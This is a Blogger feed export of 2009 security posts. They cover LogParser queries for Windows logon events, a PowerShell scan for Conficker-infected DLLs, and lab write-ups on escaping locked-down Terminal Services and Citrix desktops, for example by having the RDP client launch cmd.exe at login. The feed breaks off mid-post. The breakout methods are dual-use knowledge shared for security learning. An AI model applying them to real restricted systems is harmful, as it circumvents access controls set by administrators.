id="SPELLING_ERROR_33"&gt;ComputerName&lt;/span&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        extract_token(strings, 0, '|') AS User,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        extract_token(strings, 2, '|') AS &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;Logon&lt;/span&gt;_Type,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        extract_token(Message, 0, ':') AS Message,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        extract_token(Message, 2, ':') AS Reason&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        FROM \\Server01\Security&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        WHERE &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;EventID&lt;/span&gt; IN (&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;529)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;--------------end--------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And for the account lockouts &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_36"&gt;here's&lt;/span&gt; an example of throwing the script into a loop that I could just cut and paste onto the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;commandline&lt;/span&gt; to output the results from multiple servers into a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;csv&lt;/span&gt; file:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;FOR /f %i in (c:\servers.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;txt&lt;/span&gt;) do @&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;LogParser&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;exe&lt;/span&gt; -i:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;EVT&lt;/span&gt; -o:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;csv&lt;/span&gt; -headers:auto -&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;Filemode&lt;/span&gt;:0 "Select &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;ComputerName&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;Timegenerated&lt;/span&gt; AS &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;LogonTme&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;EventID&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;EventType&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;EventCategoryName&lt;/span&gt;, extract_token(strings, 1, '|') AS &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;ComputerName&lt;/span&gt;, extract_token(strings, 0, '|') AS User INTO C:\&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;failedlogons&lt;/span&gt;-%random%.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;csv&lt;/span&gt; FROM \\%i\Security WHERE &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;EventID&lt;/span&gt; IN (644)"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My conclusion from this was whilst I really like &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;LogParser&lt;/span&gt; it does take a while to get it tuned to find &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_56"&gt;exactly&lt;/span&gt; what I wanted.  However, it is an extremely flexible tool for searching many different types of logs and if you get the  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;Syngress&lt;/span&gt; book there is a great example of creating an IDS tool with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;LogParser&lt;/span&gt;.  The benefit of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;LogPaser&lt;/span&gt; is that it can be scripted to run regularly as a scheduled task for arching those events you might be interested in. &lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;EventComb&lt;/span&gt; was easy to use, let me save my searches for reuse later and used along with Highlighter proved to be just what I needed to get to the detail very quickly and resolve my problem.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Resources&lt;/span&gt;&lt;br /&gt;http://www.ultimatewindowssecurity.com/securitylog/encyclopedia/Default.aspx&lt;br /&gt;http://www.systemtools.com/somarsoft/&lt;br /&gt;http://www.mandiant.com/software/highlighter.htm&lt;br /&gt;http://support.microsoft.com/kb/308471&lt;br /&gt;http://www.microsoft.com/technet/scriptcenter/tools/logparser/default.mspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-7927483007459402851?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/7927483007459402851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=7927483007459402851&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7927483007459402851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7927483007459402851'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/05/windows-eventlog-fun-with-free-tools.html' title='Windows Eventlog Fun with Free Tools'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-1522931254016281384</id><published>2009-05-02T19:19:00.010+01:00</published><updated>2009-05-02T20:19:29.513+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Terminal Services'/><title type='text'>Toying With Terminal Services - Part 1</title><content type='html'>Whilst on holiday this week I began to get bored in the evenings with no internet access and whilst everyone else watched TV.  So I decided to set myself a little VM lab up on my Mac and play with Terminal Services.&lt;br /&gt;&lt;br /&gt;My aim was pretty simple, from a very locked down desktop I wanted to bypass the restrictions put in place and see how I could get to programs that the admin had tried to prevent me from getting to.&lt;br /&gt;&lt;br /&gt;As we can see, all I have access to is a desktop with Notepad.  No right click, Internet Options are restricted, the desktop is extremely locked down by group policies.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SfyamKMwGaI/AAAAAAAABHY/FqwwF38kcjI/s1600-h/locked+down+desktop.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SfyamKMwGaI/AAAAAAAABHY/FqwwF38kcjI/s400/locked+down+desktop.png" alt="" id="BLOGGER_PHOTO_ID_5331306039263369634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So once again I'm on the hunt for holes in the group policy so I can enumerate the domain and get to websites to post data or for additional tools etc...&lt;br /&gt;&lt;br /&gt;As I start to hunt around I figured instead of accessing the desktop as I am supposed to, what if I configured my RDP client to launch one of the programs that I need straight after login instead of going to the desktop.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SfybQeRYtTI/AAAAAAAABHg/MRp1fMoqAQg/s1600-h/get+shell.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 302px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SfybQeRYtTI/AAAAAAAABHg/MRp1fMoqAQg/s400/get+shell.png" alt="" id="BLOGGER_PHOTO_ID_5331306766206022962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And what do you know........Bingo!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SfybajZStBI/AAAAAAAABHo/qpTK_ZkJaUk/s1600-h/sysinfo.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SfybajZStBI/AAAAAAAABHo/qpTK_ZkJaUk/s400/sysinfo.png" alt="" id="BLOGGER_PHOTO_ID_5331306939380053010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Although in group policy the admin could have restricted access to cmd.exe it's pretty hard to run login scripts etc.. so most admins won't, they'll just make it difficult to get to.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Of course this worked for launching an MMC also, and pretty much any program. Again the snappins for MMC's can be restricted in group policy but how many admins are going to go to that level?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SfybmugPfbI/AAAAAAAABHw/wl5QUJjEBfM/s1600-h/gp+settings.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 324px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SfybmugPfbI/AAAAAAAABHw/wl5QUJjEBfM/s400/gp+settings.png" alt="" id="BLOGGER_PHOTO_ID_5331307148520422834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Coming up.......More Terminal Services goodness.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-1522931254016281384?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/1522931254016281384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=1522931254016281384&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1522931254016281384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1522931254016281384'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/05/toying-with-terminal-services-part-1.html' title='Toying With Terminal Services - Part 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vZAp7b1QDw8/SfyamKMwGaI/AAAAAAAABHY/FqwwF38kcjI/s72-c/locked+down+desktop.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4238555217517350487</id><published>2009-04-23T23:38:00.003+01:00</published><updated>2009-04-24T00:02:40.804+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PowerShell'/><title type='text'>Powershell vs Conficker</title><content type='html'>Earlier in the week I found a few PC's that were infected with the Conficker malware.  After looking at the infected PC's I noted that the infected file that was detected always had the following characteristics.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Always a dll file in the Windows\system32 directory&lt;/li&gt;&lt;li&gt;Always exactly the same size (155858 bytes)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Always has ReadOnly, System, Archive and Hidden attributes set&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Out of curiosity I wrote the following script to pull from AD a list of servers, ping them and then search through the System32 directory on servers that were up for dll files with those attributes set.&lt;br /&gt;&lt;br /&gt;I found 3 servers that had dodgy AV signatures and infected dll files.....Powershell wins!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#Get the server list&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$ServerList = @(get-qadcomputer -OSName "Windows Server*"); $Servers = $ServerList | foreach {$_.Name}&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;; Write-host "These Servers will be checked" -fore green ; $Servers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#Ping Server&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;function Find-Infection{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;$ping = gwmi -q "SELECT * FROM Win32_Pingstatus WHERE Address = '$serv'"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;if($ping.statusCode -eq 0) { Write-Host "Checking $Serv Now" -fore Yellow;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;#Check for File&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;gci -path \\$serv\c$\windows\system32 -filter *.dll -force | where { $_.attributes -eq "ReadOnly, Hidden, System, Archive" }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;else { write-host "$serv is not responding" -for Red}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;foreach ($serv in ($servers))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Find-Infection | select Length,Mode,FullName | ft -auto&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;}&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4238555217517350487?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4238555217517350487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4238555217517350487&amp;isPopup=true' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4238555217517350487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4238555217517350487'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/04/powershell-vs-conficker.html' title='Powershell vs Conficker'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-3009290868705863864</id><published>2009-04-19T22:00:00.005+01:00</published><updated>2009-04-19T22:56:47.277+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Podcasts'/><title type='text'>Yet Another Security Podcast</title><content type='html'>I joined Twitter last night.  I'd held off for quite a while but figured what the hell, everyone else is lovin it so it couldn't be too bad.  Well within a few hours of joining I found a few people out there that I figured would have similar interests so I 'followed' them.&lt;br /&gt;&lt;br /&gt;Now anyone who knows me is aware that I have a horrible commute and I'm always looking for new podcasts to make the trip to and from work as educational as possible.  Well thanks to following Mubix I learnt of the &lt;a href="http://www.exoticliability.com/"&gt;Exotic Liability Podcast&lt;/a&gt;.  They have about 6 shows out so far and  interview some of the big names in the security/hacking arena such as Val Smith and Chris Gates.&lt;br /&gt;&lt;br /&gt;Exotic Liability is a show thats along the same lines as Security Justice and Securabit, so if you like those shows then this is one for you. For the moment though, although Exotic Liability is showing promise I think for now though I'll be keeping Risky Business, Paul dot com and Radio Free Security as the top 3 on my playlist.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-3009290868705863864?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/3009290868705863864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=3009290868705863864&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3009290868705863864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/3009290868705863864'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/04/yet-another-security-podcast.html' title='Yet Another Security Podcast'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-6363355089869956780</id><published>2009-04-10T10:10:00.003+01:00</published><updated>2009-04-10T10:19:49.527+01:00</updated><title type='text'>Where's Syn?</title><content type='html'>This is just a quick note to say (for anyone that's interested) that I'm taking a short break throughout April to work on some fresh new ideas for future posts.  I'm also working on a new story and I hope to have it up soon.&lt;br /&gt;&lt;br /&gt;In the meantime you should check out the &lt;a href="http://blog.commandlinekungfu.com/"&gt;Command Line Kung Fu&lt;/a&gt; blog, it really is very good.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Syn&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-6363355089869956780?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/6363355089869956780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=6363355089869956780&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6363355089869956780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6363355089869956780'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/04/wheres-syn.html' title='Where&apos;s Syn?'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-2783647451895734313</id><published>2009-04-10T10:05:00.002+01:00</published><updated>2009-04-10T10:09:37.168+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Citrix'/><title type='text'>Abusing Citrix</title><content type='html'>This is really just a placeholder for my past and hopefully upcoming posts on fun ways to play with Citrix or Remote Desktop restrictions.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-1.html"&gt;Part 1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-2.html"&gt;Part 2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-3.html"&gt;Part 3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-4.html"&gt;Part 4&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-2783647451895734313?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/2783647451895734313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=2783647451895734313&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2783647451895734313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/2783647451895734313'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/04/abusing-citrix.html' title='Abusing Citrix'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-1715312283687702678</id><published>2009-03-26T20:51:00.024Z</published><updated>2009-03-27T09:42:54.831Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Citrix'/><title type='text'>Abusing Citrix - Part 4</title><content type='html'>&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 11"&gt;&lt;meta name="Originator" content="Microsoft Word 11"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} @page Section1 	{size:595.3pt 841.9pt; 	margin:72.0pt 90.0pt 72.0pt 90.0pt; 	mso-header-margin:35.4pt; 	mso-footer-margin:35.4pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:"Times New Roman"; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;span style="font-family:Arial;"&gt;In this post I’ll be working against a pretty restricted remote desktop.&lt;span style=""&gt;  &lt;/span&gt;I have once again locked down the desktop to the degree that it’s pretty unusable.&lt;span style=""&gt;  &lt;/span&gt;I have notepad and I.E available to me, and I.E is apparently locked to the company homepage.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyYEN-ncXI/AAAAAAAABFQ/gb0_L70J0PI/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 312px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyYEN-ncXI/AAAAAAAABFQ/gb0_L70J0PI/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317792458256904562" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;My goal is to bypass the restrictions and perform a little network enumeration, hopefully using the server for my own evil intentions rather than what it is intended for.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;I start off by checking out the website that I can get to, looking for links out to the internet. Unfortunately I don’t find anything too useful there.&lt;span style=""&gt;  &lt;/span&gt;It’s all very web 1.0.&lt;span style=""&gt;  &lt;/span&gt;The admin has removed the address bar and nearly all the menu options.&lt;span style=""&gt;  &lt;/span&gt;Most of what I would normally use to extend my reach into the server has been restricted and just hit’s me with a Restrictions dialogue window.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/ScyYWbnbZ3I/AAAAAAAABFY/fgsAGQhn5KM/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/ScyYWbnbZ3I/AAAAAAAABFY/fgsAGQhn5KM/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317792771155388274" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;I carry on looking for chinks in the amour and start to find a few things that may have been missed in the group policy.&lt;span style=""&gt;  &lt;/span&gt;What you have to remember is that there are thousands of settings in the group policies and if they are not set up properly a seemingly irrelevant setting may lead to something useful to the attacker.&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Here 